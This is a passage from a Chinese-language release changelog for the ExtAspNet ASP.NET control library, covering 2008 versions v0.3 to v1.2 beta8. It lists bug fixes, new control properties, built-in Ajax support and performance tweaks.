beta8\n\t-ContentPanel中内容不能自动扩展高度的BUG[feedback:huihuang]。[fixed]\n\t-DropDownList在Ajax回发时不能计算模拟树的数据[feedback:huihuang]。[fixed]\n\t-DropDownList在页面第一次加载时没有不可选择项,则回发时也不会有不可选择项的BUG。[fixed]\n\t-升级底层ExtJS类库为v2.2.1(此版本主要是Chrome的支持和部分内存泄漏问题的修正)。[fixed]\n\t-页面加载过程中的时间信息保存在Javascript变量window.box.timeInfo中。[added]\n\t+增加部分自动测试支持(使用WatiN和NUnit),下个版本将会提供完整的自动测试支持。[fixed]\n\t\n\t\n\n+2008-10-28 v1.2 beta7\n\t-DropDownList没有选中任何一项,回发时报错[feedback:huihuang]。[fixed]\n\t-Window显示位置不对,以及不能拖动的BUG[feedback:huihuang]。[fixed]\n\t+PageContext优化。[fixed]\n\t\t-去除RegisterExclusiveScript静态函数(这是没有原生ajax之前的产物),使用RegisterStartupScript替代。\n\t\t-去除RegisterStartupScript的重载函数,只保留最简单的PageContext.RegisterStartupScript(string script)函数。\n\t\t-Resirect增加重载函数Redirect(string url, string target),其中target可能的取值为_self,_parent,_top,分别表示在当前窗口,父窗口,顶级窗口重定向[feedback:jqpeng]。\n\t-Image控件增加ImageWidth\u002FImageHeight\u002FImageCssStyle\u002FImageCssClass\u002FImageAlt属性[feedback:jqpeng]。[fixed]\n\t-发布包中增加\u003Cem\u003E一个\u003C\u002Fem\u003EWeb.config.txt,这是\u003Cem\u003E一个\u003C\u002Fem\u003E空的Web.config\u003Cem\u003E文件\u003C\u002Fem\u003E,包含BOX基本的配置信息。[fixed]\n\t-ContentPanel的ShowHeader和ShowBorder属性默认也是true(注意更新以前的应用)。[fixed]\n\t-Row和Column布局时,修正IE下设置RowHeight=\"100%\"时显示不正确的BUG。[fixed]\n\t-AccordionLink当鼠标移上和移开时,有背景色的变化效果[feedback:huihuang]。[fixed]\n\t+TabStrip的Tab控件的EnablePostBack属性会在回发时保持(也即是说如果EnablePostBack=true,回发时没改变EnablePostBack的值,则每次切换到此Tab都会回发)。[fixed]\n\t\t-有这样\u003Cem\u003E一个\u003C\u002Fem\u003E效果,如果Tab1默认显示,Tab1的EnablePostBack=true,则页面加载完毕后会回发Tab1一次。\n\t\n\t\n\n+2008-10-20 v1.2 beta6\n\t+使用控件的站点必须建立虚拟目录,否则会报JS错误(即是脚本资源没有加载),却原来是HTTPCompress组件的问题。[fixed]\n\t\t-需要替换新的blowery.Web.HttpCompress.dll,解决方案见http:\u002F\u002Fpohee.com\u002Fit\u002Fhttp-compression-in-aspnet-20\u002F。\n\t+DropDownList优化。[fixed]\n\t\t-去除EnableFirstItem\u002FFirstItemText\u002FFirstItemValue,这个并不能带来很大的好处,反而容易让开发人员困惑。\n\t\t 现在可以方便的在后台DropDownList1.Items.Insert(0, new ExtAspNet.ListItem(\"全部\", \"-1\"));来达到同样的效果。\n\t\t+如果某项(ListItem)的Value为空字符串,则通过SelectedIndex和SelectedValue不能选中[feedback:jqpeng]。\n\t\t\t-和Asp.net中的保持一致,ListItem的Value值可以为空字符串。 也就是可以这样写DropDownList1.SelectedValue = \"\";\n\t\t-ListItemCollection增加重载函数Add(string text, string value),这样方便后台添加列表项。\n\t-处于布局内的容器控件(Layout!=LayoutType.Container),AutoHeight会自动设置为false(避免开发人员发生此类错误)。[fixed]\n\t-注意,控件的高度指的是整个控件的高度,包含BodyPadding(这和CSS中的height不同,CSS中的height是指内容的高度,除去padding\u002Fborder-width\u002Fmargin)。[fixed]\n\t+为所有控件属性增加在VS中的智能提示。[fixed]\n\t\t-需要将ExtAspNet.XML和ExtAspNet.dll放在一起,这样引用dll时xml会被拷贝到bin目录下,提供VS的智能提示。\n\t+控件的属性如果是枚举类型,如果此属性可以不取值,则默认为None。[fixed]\n\t\t-TriggerIconType.Default -\u003E TriggerIconType.None\n\t\t-SystemIconType.Empty -\u003E SystemIconType.None\n\t\t-RegexPattern.USER_DEFINED -\u003E RegexPattern.None\n\t-表单验证属性名称变化(ValueToCompare-\u003ECompareValue,ControlToCompare-\u003ECompareControl)。[fixed]\n\t+注意:\u003Cem\u003E一个\u003C\u002Fem\u003E属性可以拥有多个值的情况。[fixed]\n\t\t-属性和CSS相关则用空格分隔(比如ColumnWidths,BodyPadding)。\n\t\t-其他的都是逗号分隔(比如ValidateForms,DataKeyNames,DataNavigateUrlFields)。\n\t+AccordionLink实现为控件。[fixed]\n\t\t-可以方便的在子页面(iframe)中通过js切换父页面中选中的菜单项(Accordion-\u003EAccordionLink)(示例在other\u002Faccordion_links_run.aspx,other\u002Faccordion_links_run_iframe_htm)[feedback:jima]。\n\t+确认:可以方便的动态添加控件,并且可以给控件添加服务器端事件(示例在form\u002Fform_dynamic_run.aspx)。[fixed]\n\t\n\t\n\t\n+2008-10-15 v1.2 beta5\n\t-验证表单字段的ValueToCompare属性,为字符串时会出错的BUG。[fixed]\n\t+优化下拉列表。[fixed]\n\t\t-验证下拉列表时,应该取ListItem的Value属性进行验证,而不是Text属性。\n\t\t-DropDownList的Items增加Insert方法(可方便的下拉列表选项添加“全部”)。\n\t\t-DropDownList不支持EmptyText属性。\n\t\t-ListItem启用EnableSelect和SimulateTreeLevel属性,这样就可以直接在前台(ASPX)中设置哪些项不可选择,以及创建模拟下拉树。\n\t\t-DropDownList增加EnableSimulateTree属性(默认为false),如果设置了DataSimulateTreeLevelField,则自动将EnableSimulateTree设置为true。\n\t\n\t\n\n+2008-09-27 v1.2 beta4\n\t+EnableLargeHeader属性对所有容器的效果一样,Accordion的属性EnableLargeHeader只会改变Accordion的标题大小,而不会对AccordionPanel起作用(示例见other\u002Faccordion_run.aspx)。[fixed]\n\t\t-Accordion去除EnableHightlight属性,AccordionPanel增加EnableHightlight属性。\n\t\t-影响以前使用Box的应用,需要将Accordion的属性去掉,然后为每个AccordionPanel增加EnableLargeHeader和EnableHightlight属性。\n\t-AccordionPanel鼠标移上去的样式调整(现在没有下面的一条白线了)。[fixed]\n\t+AccordionPanel增加Links属性,可以绑定列表数据到AccordionPanel,呈现的是链接的列表(示例在other\u002Faccordion_links_run.aspx)。[fixed]\n\t\t-原来放置在AccordionPanel中的容器,比如ContentPanel需要在外层加上标签。\n\t\t-适当增大AccordionPanel中链接的高度20px-\u003E22px,同时对链接的样式也做了微调。\n\t\t-通过BodyPadding控制链接列表的边距。\n\t\t-这样能大大减少ASPX中HTML代码和Javascript代码的书写,可以在后台动态添加链接,效果很赞,此需\u003Cem\u003E求\u003C\u002Fem\u003E由马季提出。\n\t\n\t\n\t\n+2008-09-25 v1.2 beta3\n\t+代码优化与设计时支持(尚需要不断完善,目前可以在ASPX页切换到“设计时”,方便属性的更改和事件处理函数的添加)。[fixed]\n\t\t-Panel\u002FGroupPanel\u002FContentPanel\u002FTree\u002FHiddenField\u002FPageLoading\n\t\t-TabStrip\u002FToolbar\n\t-TabStrip去除Plain属性,增加EnableTitleBackgroundColor(默认为true)。[fixed]\n\t-向Form中动态添加控件的BUG,现在form\u002Fform_dynamic_run.aspx示例已经能正确运行。[fixed]\n\t+大部分容器的子控件集合更正为Items(以前有些是Rows)。[fixed]\n\t\t-影响的控件包括Toolbar\u002FAccordion\u002FAccordionPanel\u002FGroupPanel\u002FPanel\u002FSimpleForm\u002FWindow等。\n\t\t-保留Form的Rows(FormRowCollection)属性和Grid的Rows属性(GridRowCollection)。\n\t\t-保留TabStrip的Tabs(TabCollection)属性。\n\t\t-保留PageLayout\u002FBorderLayout的Regions(RegionCollection)属性。\n\t-预祝今晚神七发射成功。\n\t\n\t\n\t\n+2008-09-22 v1.2 beta2\n\t+Grid选中项(SelectedRowIndexArray)在ajax回发过程中存在BUG [feedback:xmzhu]。[fixed]\n\t\t-表现为对Grid进行多次\u003Cem\u003E删除\u003C\u002Fem\u003E添加操作后,SelectedRowIndexArray选中项中会存在当前不存在的行序号,导致服务器端遍历选中项时数组越界。所有使用box控件的应用程序都受到此BUG的影响,需尽快更新到新版本。\n\t+代码优化与设计时支持(示例中表单控件都已支持设计)。[fixed]\n\t\t-PageManager\u002FSimpleForm\u002FButton\u002FHyperLink\u002FLabel\u002FImage\u002FLinkButton\u002FTextBox\n\t\t-TriggerBox\u002FTwinTriggerBox\u002FWindow\u002FTextArea\u002FHtmlEditor\u002FDatePicker\u002FNumberBox\n\t\t-CheckBox\u002FRadioButton\u002FRadioButtonList\u002FDropDownList\n\t\t-Grid\n\n\n\n+2008-09-19 v1.2 beta1\n\t-Image\u002FLinkButton\u002FHyperLink增加一些Ajax可更新属性。[fixed]\n\t+隐藏的方式由HideMode属性控制Visibility\u002FOffsets\u002FDisplay。[fixed]\n\t\t-修正Form\u002FSimpleForm中隐藏\u003Cem\u003E一个\u003C\u002Fem\u003E表单字段(Hidden=false)会占据页面空间的BUG。\n\t-ToolbarText\u002FToolbarFill\u002FToolbarSeparator在ASPX中设置Hidden=true不起作用的BUG [feedback:jbzhang]。[fixed]\n\t-Button去除MarginRight属性(可以通过CssStyle=\"margin-right:5px;\"达到相同的效果)[fixed]\n\t\n\t\n\t\n+2008-09-09 v1.1\n\t+Toolbar去除IsPageMenu属性,在网报中可以用自定义样式实现,而不应该写在控件中。[fixed]\n\t\t-网报:CssClass=\"toolbar-pagemenu\" CssStyle=\"border:0px;\",同时定义样式:.toolbar-pagemenu{ background: rgb(208, 222, 240) url(..\u002Fimages\u002Fpagemenu_toolbar_background.gif) repeat-x left top;}。\n\t-Region去除默认的Layout=Fit,如果希望Region使用Fit\u002FAnchor\u002FColumn\u002FRow等布局的话,需要手工指定。[fixed]\n\t-ToolbarSeparator\u002FToolbarFill在Ajax更新Hidden属性的BUG。[fixed]\n\t+布局整理。[fixed]\n\t\t-新增Column\u002FAbsolute\u002FRow三种布局,加上以前的Container\u002FFit\u002FAnchor\u002FAccordion\u002FBorder\u002FForm六种布局,总共有9中布局可供使用。\n\t\t-其中一些控件默认使用一种布局:SimpleForm(Form)\u002FForm(Form)\u002FPanel-GroupPanel(Container)\u002FAccordion(Accordion)\u002FPageLayout(Border)\u002FBorderLayout(Border)\u002FTabStrip(Card),所有布局控件默认的布局是Container。\n\t\t-经常用到的布局控件:SimpleForm\u002FForm\u002FAccordion\u002FTabStrip\u002FBorderLayout,经常用到的布局:Fit\u002FRow\u002FAnchor\n\t\n\t\n\t\n+2008-09-08 v1.1 beta7\n\t-MenuButton\u002FMenuHyperLink增加HideOnClick属性,如果\u003Cem\u003E一个\u003C\u002Fem\u003E菜单项的作用仅仅为了弹出下级菜单,点击没反应,则可以这样设置HideOnClick=\"false\" CssStyle=\"cursor:default;\" [feedback:huayu]。[fixed]\n\t-MenuButton\u002FMenuHyperLink\u002FMenuSeparator\u002FMenuText增加Hidden属性(此属性是Ajax可更新属性,如果需要在Ajax时显示隐藏菜单,请使用此属性而不是Visible属性)。[fixed]\n\t+大部分的ExtAspNet控件增加Hidden属性(少数几个控件没有此属性:Menu),这样在Ajax时可以显示隐藏控件。[fixed]\n\t\t-注意Visible和Hidden的区别:Visible=false的属性不会渲染到客户端,Hidden=true的控件渲染到客户端但是隐藏。\n\t\t-US的ExtAspNet改造强烈依赖于此属性,这个版本发布后可以继续。\n\t\t-网报中唯一没有用到ExtAspNetAjax的地方就是显示隐藏表单字段,现在也可以使用Ajax了。\n\n\n\n+2008-09-04 v1.1 beta6\n\t-PageContext.Redirect支持普通页面转向和ExtAspNetAjax下页面转向。[fixed]\n\t+模拟树的下拉列表的BUG(会使一些可选项变成不可选项)[feedback:xmzhu]。[fixed]\n\t\t-因为if(\"0,2,9,11,\".indexOf('1,')\u003E=0){ok},这显然是不对的,此BUG涉及很多控件(Grid,DropDownList,TabStrip)。\n\t\t-解决方法:testValue += '';if(domValue.split(',').indexOf(testValue) \u003E= 0){ok}。\n\t-DropDownList在Ajax时应该先更新数据再设置选定项 [feedback:xmzhu]。[fixed]\n\t-Button\u002FMenuButton增加Ajax可更新属性OnClientClick [feedback:xmzhu]。[fixed]\n\t-Tree的Ajax支持(尚需优化)。[fixed]\n\t\n\t\n\n+2008-09-02 v1.1 beta5\n\t-DropDownList如果第一次没有绑定值,应该绑定到[[]](二维数组),而不是[](一维数组)。[fixed]\n\t-模拟树的DropDownList,在Ajax重新绑定DataSource后,保持项是否可选状态是最新的(页面第一次加载时,即使没有数据也需要设置DataTextField\u002FDataValueField\u002FDataSimulateTreeLevelField\u002FDataEnableSelectField等属性的值,否则Ajax回发时会出错)。[fixed]\n\t-UserControlConnector导致的Ajax错误,去除UpdatePanelConnector控件(以后不会用AspnetAjax,这个控件已经完成使命)。[fixed]\n\t-不要使用Asp.net的控件HiddenField,而是使用ExtAspNet的HiddenField,因为Asp.net的控件在Ajax不会被更新,所以会导致视图状态不一致的错误。[fixed]\n\t-网报Ajax整合基本完成(除了待审批-\u003E下一步[审核\u002F归档\u002F出纳]操作,由于需要显示隐藏表单字段,目前Ajax不支持,使用的还是普通的PostBack)。[fixed]\n\t-IE下,RadioButtonList中项如果存在汉字,则会换行的BUG。[fixed]\n\t-增加\u003Cem\u003E两个\u003C\u002Fem\u003ETheme[Slate\u002FBlack](样式尚需完善)。[fixed]\n\t\n\t\n\t\n+2008-09-01 v1.1 beta4\n\t-非当前Tab中如果有ContentPanel,则在页面上方会有空白(可以通过设置EnableDeferredRender=false解决,但会减慢页面的加载速度),现在已经解决这个问题。[fixed]\n\t-RadioButtonList去除EnableBackgroundColor\u002FEnableLightBackgroundColor属性,背景色是透明的,也就是和父控件(SimpleForm\u002FForm)的背景色一致。[fixed]\n\t-TwinTriggerBox的第\u003Cem\u003E一个\u003C\u002Fem\u003ETrigger图标不会先显示再隐藏,而是直接隐藏掉(如果用户设置ShowTrigger1=false)。[fixed]\n\t-Web.config中增加配置项FormLabelWidth=\"80\"(默认为80),同时PageManager增加FormLabelWidth属性用来控制页面上所有SimpleForm\u002FForm的表单字段标题的宽度。[fixed]\n\t+完善Ajax。[fixed]\n\t\t-RadioButtonList增加Ajax可更新属性SelectedIndex(SelectedValue\u002FSelectedItem)。\n\t\t-DropDownList增加Ajax可更新属性Enable\u002FSelectedIndex(SelectedValue\u002FSelectedItem)\u002FDataSource。\n\t\t-Grid增加Ajax可更新属性Columns(也就是说Grid列在回发时隐藏显示了一些,也能正确的Ajax)。\n\t\t-ToolbarText增加Ajax可更新属性Text。\n\t\t\n\t\t\n\t\t\n+2008-08-31 v1.1 beta3\n\t-TabStrip增加EnableDeferredRender属性(是否启用延迟加载Tab,默认启用)。[fixed]\n\t-重定向页面,使用系统的方法 PageContext.Redirect(string url),使用Response.Redirect方法会出错。[fixed]\n\t+安全的Ajax设计。[fixed]\n\t\t-这个版本Ajax和上个版本(v1.1beta1)在设计思路上有很大区别,同时在速度上会有进一步的提升。\n\t\t-基本思想:安全的Ajax交互,明确Ajax回发时支持控件哪些属性的改变,这将适合90%的应用场景(并且具有极快的反应速度),对于需要UI大改动的可采用常规回发,系统提供控件级别的EnableAjax属性。\n\t\t-整理支持Ajax的控件属性改变列表(所有被支持的属性改变都是安全的、快速的,所有不被支持的属性改变不会对UI起作用,同时是安全的,不会有js错误)。\n\t-网报Ajax整合(目前只支持所有的列表页面)(v0.8.1)。[fixed]\n\t\n\t\n\t\n+2008-08-29 v1.1 beta1\n\t+Window控件是否弹出的状态在回发时维持。[fixed]\n\t\t-控件设计的\u003Cem\u003E一个\u003C\u002Fem\u003E原则,凡是可以在客户端改变的属性都应该在回发时保持属性的状态。\n\t+完全抛弃Asp.NetAjax,ExtAspNet控件内置Ajax支持。[fixed]\n\t\t-这是\u003Cem\u003E一个\u003C\u002Fem\u003E值得骄傲的设计,可以明显提高页面回发的速度(相比普通的回发和Asp.netAjax的回发),对于IFrame框架的交互也起到很好的加速效果。\n\t\t-不需要做任何配置,所有的回发都是Ajax(在Web.config和PageManager中有设置启用Ajax回发的属性-EnableAjax-默认为true)。\n\t\t+在这种设计下,其实可以完全抛弃Javascript。\n\t\t\t-比如简单的点击\u003Cem\u003E一个\u003C\u002Fem\u003E按钮弹出窗口,可以在Button的OnClick事件中设置Window1.Popup=true,也可以注册Button的OnClientClick=Window1.GetShowReference()。\n\t\t\t-第一种方法需要回发,但是我们内置的Ajax支持能很快的返回需要的结果并解析,在网络速度很快的情况下和第二种方法差别不是很大。\n\t\t\t-推荐的做法是尽量用客户端实现,客户端实现复杂的直接用服务器端实现。\n\t\t+目前ExtAspNetAjax的限制。\n\t\t\t-只对ExtAspNet控件起作用,对Asp.net控件不起作用。\n\t\t\t-对容器控件(有子控件的控件)不起作用,只对最底层的控件起作用。\n\t\t\t-对改变控件的Visible属性会有错误。\n\t\t\t-Window控件的属性改变只有少数几个起作用(Popup,IFrameUrl)。\n\t-PageManager增加属性EnablePageLoading和EnableAjaxLoading(启用页面第一次加载标示和Ajax加载标示,默认都为true),所以如果使用系统默认的加载标示就不必每个页面都添加PageLoading控件。[fixed]\n\t-Grid中的回发事件(主要是LinkButtonField和CheckBoxField(RenderAsStaticField=false))要延迟0ms执行,这样当前行被选中的状态在回发后会得到保持。[fixed]\n\t-Grid选中行的状态在第一次回发时不能保持的BUG。[fixed]\n\t\n\t\n\t\n+2008-08-26 v1.0\n\t+已知问题:IE的ActiveX插件IE Developer Toolbar会对IFrame的加载造成0.5m左右的延迟。\n\t\t-主要是父页面加载\u003Cem\u003E一个\u003C\u002Fem\u003E比较大的css\u003Cem\u003E文件\u003C\u002Fem\u003E(~100k),则每次打开iframe页面,onload事件的调用都会有500ms左右的延迟,在测试IE性能时要禁用此插件。\n\t+优化弹出窗口中IFrame的显示速度。[fixed]\n\t\t-在当前页面弹出窗口需要~20ms,在父页面弹出窗口需要100~300ms。通过缓存弹出的窗口实例,从而第二次弹出窗口不再需要创建时间。\n\t-PageLayout的Region增加SplitColor属性,默认的背景色是透明的。(在网报中需要设置SplitColor=\"#CADDF7\",以便分隔符的颜色和Toolbar的颜色一致)[fixed]\n\t+PageManager增加属性Theme、Language、FormMessageTarget、FormOffsetRight等属性,这些属性可以在Web.config中设置(推荐方法),也可以为每个页面设置。[fixed]\n\t\t-\u003Cem\u003E一个\u003C\u002Fem\u003E典型的应用是为每个用户设置不同的皮肤(根据用户浏览器中Cookie设置的值)(示例在default.aspx)。\n\t-TreeNode增加属性SingleClickExpand,表示点击可切换节点的折叠展开状态。[fixed]\n\t+TabStrip中非当前Tab会延迟渲染。[fixed]\n\t\t-这会明显加快页面的渲染速度,网报中\u003Cem\u003E一个\u003C\u002Fem\u003E典型的费用审批页面可以减少200ms的渲染时间。\n\t\t-由于非当前Tab不会在页面加载时渲染,所以那些Tab中的节点在页面加载后也是不可见的,需要将相关的脚本移动到控件的render事件中。\n\t-不能比较\u003Cem\u003E两个\u003C\u002Fem\u003EDataPicker大小的BUG。[fixed]\n\t-TabStrip延迟加载引起的BUG(非当前Tab中的ContentPanel会占据页面空间,已修正)。[fixed]\n\t-全新的ExtAspNet.Examples(基础知识\u002F表单控件\u002F数据绑定\u002F容器布局\u002FIFrame框架)。[fixed]\n\t\n\t\n\t\n+2008-08-19 v0.4 beta6\n\t+PageManager增加\u003Cem\u003E两个\u003C\u002Fem\u003E属性(EnableInlineStyleJavascript\u002FApplyParentStyleJavascript),可以在IFrame页面中使用父页面的脚本和样式(示例在iframe\u002Fdefault.aspx和iframe\u002Fpage3.aspx)。[fixed]\n\t\t-测试发现,IFrame页面的加载速度并没有明显加快,可以先不使用此属性。\n\t-RadioButtonList放在在BorderLayout中显示不了的BUG [feedback:zgjiang2]。[fixed]\n\t+extjs的BUG,当页面中含有iframe时,Ext.onReady会被调用两次(IE6\u002FIE7)(http:\u002F\u002Fwww.extjs.net\u002Fforum\u002Fshowthread.php?t=43246)(示例在test.aspx)[fixed]\n\t\t-现在的解决方法是在初始化时:if(this.initialized){return;}this.initialized=true;\n\t+需要先回发页面再弹出IFrame窗口。[fixed]\n\t\t-在回发时设置窗口的Popup和IFrameUrl属性,因为这些属性是可以保持状态的,所以在关闭窗口时要注意设置Popup=false。\n\t\t-另一种做法(推荐):PageContext.RegisterStartupScript(Window99.GetShowReference(\".\u002Fsimpleform.aspx\"));。\n\t\n\t\t\n\t\n+2008-08-15 v0.4 beta5\n\t-点击关闭窗口的按钮,在IE6下会有JS错误。[fixed]\n\t-增加BorderLayout控件,示例在iframe\u002Fborderlayout.aspx。[fixed]\n\t+Radiobuttonlist显示有重影(示例在radio.aspx)。[fixed]\n\t\t-全新的样式。\n\t\t-去除Horizontal属性,增加ColumnNumber(可以设置渲染成几列)。\n\t\t-GetValueReference取得的值不正确的BUG。\n\t-动态向Form中添加FormRow,并动态的向FormRow中添加表单字段,以及如何取得表单字段的值。(示例在form_dynamic.aspx)[fixed]\n\t+IFrame弹出窗口关闭后回发父页面,则会多加载IFrame一次,再次打开窗口会重复加载IFrame2-3次[feedback:xmzhu]。[fixed]\n\t\t-这是\u003Cem\u003E一个\u003C\u002Fem\u003E重要的BUG,会严重影响页面的加载速度。原因是通过脚本改变的IFrameUrl会在回发时保持状态,从而回发父页面后Window中的IFrame被添加到页面,而这是不需要的。\n\t\t-现在\"是否弹出窗口、窗口标题、IFrameUrl\"在客户端的改变,不会影响服务器端的属性,也即是不保持状态。此问题解决。(示例在button_iframe.aspx)\n\t\n\t\n\t\n+2008-08-13 v0.4 beta4\n\t-点击关闭窗口的按钮,在IE下会有JS错误。[fixed]\n\t-Window的右上角关闭图标增加提示,优化事件响应。[fixed]\t\n\t-Window的代码重构。[fixed]\t\n\t+修正\u003Cem\u003E一个\u003C\u002Fem\u003E的内存泄漏。[fixed]\n\t\t-IE7下测试,打开iframe\u002Fdefault.aspx页面,iexplorer占内存68.368M。\n\t\t-内存存在泄漏时,点击iframe\u002Fpage3.aspx页面8次后iexplorer占118.792M内存。\n\t\t-修正后,点击iframe\u002Fpage3.aspx页面8次后iexplorer占76.492M内存。\n\t\t-IE窗口最小化时,IE会自动进行垃圾回收。\n\t\n\t\n\t\n+2008-08-12 v0.4 beta3\n\t-底层的javascript框架Extjs升级为v2.2,Grid的渲染速度有很大提升。[fixed]\n\t-Grid的EnableDelayRender默认为true(如果没有设置Grid的高度或通过布局间接设置高度,则行不可见,可以通过AutoHeight=\"true\"解决)。[fixed]\n\t+页面正在加载的提示尽早的显示出来。[fixed]\n\t\t-首先在执行js来完成页面渲染之前延迟5ms,以便浏览器把当前页面内容显示出来。\n\t\t-加载js脚本的script标签放置在页面的最后,放置加载js而阻塞PageLoading的显示。\n\t\n\t\n\t\n+2008-08-08 v0.4 beta2\n\t-TabStrip延时加载出错。[fixed]\n\t-Window的IFrameUrl处理的BUG,比如Pages_ExtAspNet目录下的页面应该为.\u002FFE_ApplyEditor.aspx或~\u002FPages_ExtAspNet\u002FFE_ApplyEditor.aspx。[fixed]\n\t-Window的WindowPosition=\"Center\"并且Target=\"_parent\",则会JS错误。[fixed]\n\t-实现网报首页下拉菜单和左侧菜单的导航功能。[fixed]\n\t-Window的创建在页面显示后进行,不计算在js渲染时间内。[fixed]\n\t-优化费用申请页面(尽量减少不必要的层次嵌套)。[fixed]\n\t-button_iframe.aspx默认会加载form.aspx页面(Window控件的BUG)。[fixed]\n\t-Window中的保存并关闭按钮和Asp.netAjax冲突。[fixed]\n\t-优化关闭Window的js脚本,减少写到页面的js大小。[fixed]\n\t-加快“保存并关闭”按钮关闭窗口的速度,使用PageContext.RegisterExclusiveScript(CurrentActiveWindow.GetClosePostBackReference());,示例在(simpleform.aspx)。[fixed]\n\t\n\t\n\t\n+2008-08-05 v0.4 beta1\n\t-DropDownList去除Traditional属性,和传统的Asp.net控件一样不可编辑。[fixed]\n\t-DropDownList增加SelectedText属性(去除了模拟树时通过SelectedItem.Text的多余html字符)。[fixed]\n\t-为了加快渲染速度,去掉一些特效(比如Panel的折叠效果,Grid的拖动列效果等)[feedback:dcding]。[fixed]\n\t-将生成的js对象的名称简单化,这样可以减少生成的js内容,加快页面加载速度(\u003Cem\u003E一个\u003C\u002Fem\u003E典型页面的js由原来的33.0k降低为21.4k)。[fixed]\n\t+弹出窗口中,点击按钮回发然后点击关闭按钮,出现js错误 [feedback:xmzhu]。[fixed]\n\t\t-因为在页面的Page_Load中,if (!IsPostBack){PageContext.RegisterPageStateChangedStartupScript();}通过这样方法向页面注册了一段脚本,但是这段脚本在回发时没有注册到页面,因为js调用此脚本时报错。\n\t\t-一种解决方法是将向页面注册脚本的函数移动到if\u003Cem\u003E语句\u003C\u002Fem\u003E的外面,即每次都向页面注册此脚本。\n\t\t-另一种办法就是在PageManager控件中增加RegisterPageStateChangedScript(向页面注册监视页面中表单内容改变的脚本)的属性(会在每次页面回发(包含ajax回发)时注册脚本)(示例在button_iframe.aspx\u002Fsimpleform.aspx)。\n\t+PageManager控件增加ExecuteOnReadyWhenPostBack属性(示例在onreadyscript.aspx)。[fixed]\n\t\t-这个手工添加onReady函数能够在每次页面回发时都注册脚本(包括Ajax局部回发),这就避免了手工去做的麻烦(已经在网报中遇到这种情况)。\n\t-每个页面必须添加\u003Cem\u003E一个\u003C\u002Fem\u003EPageManager控件,否则会出错,同时去除DesignTimeStyle控件(作为PageManager的属性出现)。[fixed]\n\t-TextField等表单字段增加Readonly属性。[fixed]\n\t+全新设计的IFrame的架构(尽可能和基于MasterPage的架构保持兼容,和Asp.net Ajax保持兼容)。[fixed]\n\t\t-最大的好处是可以减少页面下载完毕后Javascript渲染时间(可以节约一般的渲染时间)。(所有示例在iframe\u003Cem\u003E\u003Cem\u003E文件\u003C\u002Fem\u003E夹\u003C\u002Fem\u003E下)\n\t\t+示例1,通过点击按钮弹出IFrame窗口,可直接关闭父页面,也可在关闭后刷新或回发父页面。(default.aspx\u002Fpage2.aspx\u002Fsimpleform.aspx)\n\t\t\t-虽然IFrame和Master两种架构差异迥然,或许你以为需要修改一堆代码来完成这种转换,起初我也是这么认为的,但是现在你所要做的仅仅是为Window控件增加\u003Cem\u003E一个\u003C\u002Fem\u003E属性(Target=\"_parent\"),就完成了两种框架的转换,是不是很酷。\n\t\t\t-显然,控件本身封装了大量的代码,简单来看现在有三个页面(default.aspx(A)\u002Fpage2.aspx(B)\u002Fsimpleform.aspx(C)),其中A包含B页面,当你在B中打开包含有页面C的窗口时,窗口不是在B中打开,而是在A中打开,这样才能保证窗口覆盖整个页面,当你从C中返回需要回发页面B时,却发现取得的是A页面,因为我们窗口是在A页面中创建的。我会通过一篇文章来揭示这一过程,敬请期待。\n\t\t-示例2,Grid中弹出窗口。(default.aspx\u002Fpage3.aspx\u002Fsimpleform.aspx)\t\n\t\t+示例3,TriggerBox弹出窗口。(default.aspx\u002Ftriggerbox.aspx\u002Fsimpleform.aspx)\t\n\t\t\t-在整个页面弹出窗口或者在当前页面弹出窗口,仅仅设置Window的Target属性即可。\n\t\t-示例4,弹出窗口中的弹出窗口。\n\t-对整个Examples更新测试。[fixed]\n\t\n\t\n\t\n+2008-07-31 v0.3 beta12\n\t-IE下TabStrip在Ajax回发后不会去掉x-hide-display样式,导致Tab显示为空的BUG。[fixed]\n\t-对TabStrip\u002FPanel\u002FWindow中的IFrame重新设计,如果设置IFrameUrl=\"#\"或者\"about:blank\",则不渲染iframe到页面节点,同时第二次打开Window中的IFrame不会有残影出现。[fixed]\n\t-如果TabStrip的Tab不是激活Tab并且设置了IFrameUrl,则会延迟加载(示例在tabstrip_iframe.aspx)。[fixed]\n\t-Tree控件,点击\u003Cem\u003E一个\u003C\u002Fem\u003E节点自动回发,则当前点击的那个节点的选中状态不会保持的BUG [feedback:zgjiang2]。[fixed]\n\t+规范关闭窗口时提示用户保存已经修改的内容提示的调用方式(包含iframe中关闭按钮和window右上角关闭图标的调用方式)(示例在grid_iframe.aspx\u002Fsimpleform.aspx)。[fixed]\n\t\t-内部实现上,点击“保存并关闭按钮”,可以将关闭窗口的脚本更早的执行(在simpleform.aspx,PageContext.RegisterStartupScript增加重载函数),而不是原来的先创建整个页面UI,再关闭窗口。\n\t-参照Yslow的评分规则,将JS\u003Cem\u003E文件\u003C\u002Fem\u003E引用由head移动到body中。[fixed]\n\t-Firefox下,如果页面太长会出滚动条,原来在ViewPort样式中有body{overflow:hidden;}。[fixed]\n\t+IFrame内的页面宽度和高度会自动设置(是不是还在为1px\u002F2px的白边而烦恼,现在不用了:-)(示例在iframe_autosize.aspx\u002Fsimpleform.aspx\u002Fsimpleform2.aspx)[fixed]\n\t\t-增加PageManager控件(需要指定AutoSizePanelID,即需要设置宽度和高度为整个页面的宽度和高度的Panel),HideScrollbar属性用于隐藏滚动条(IE\u002FFirefox)。\n\t\n\t\n\t\n+2008-07-24 v0.3 beta11\n\t-web.config配置信息中MessageTarget改名为FormMessageTarget,增加FormOffsetRight配置项,用来定义全局表单字段距离右边界的宽度,同时每个表单字段都增加OffsetRight属性 [feedback:jima]。[fixed]\n\t-Window在回发时设置的Title不起作用的BUG。[fixed]\n\t-增加Image控件 [feedback:jima]。[fixed]\n\t-Tree控件,如果\u003Cem\u003E一个\u003C\u002Fem\u003E节点不是叶子节点并且没有子节点,则应把它的Expanded设置为false,否则会引起页面死循环回发 [feedback:zgjiang2]。[fixed]\n\t-Image增加ToolTipTitle\u002FToolTipAutoHide\u003Cem\u003E两个\u003C\u002Fem\u003E属性,当提示信息特别长时,可以让用户阅读完毕之后手工关闭提示信息(示例在hyperlink.aspx)。[fixed]\n\t-去掉DropDownList控件的Text属性(强制性),可以通过设置SelectedValue来设置选中哪一项 [feedback:xmzhu]。[fixed]\n\t-过滤提示消息中的换行符(转换为),否则提示信息可能导致页面渲染错误 [feedback:dcding]。[fixed]\n\t\n\t\n\t\n+2008-07-23 v0.3 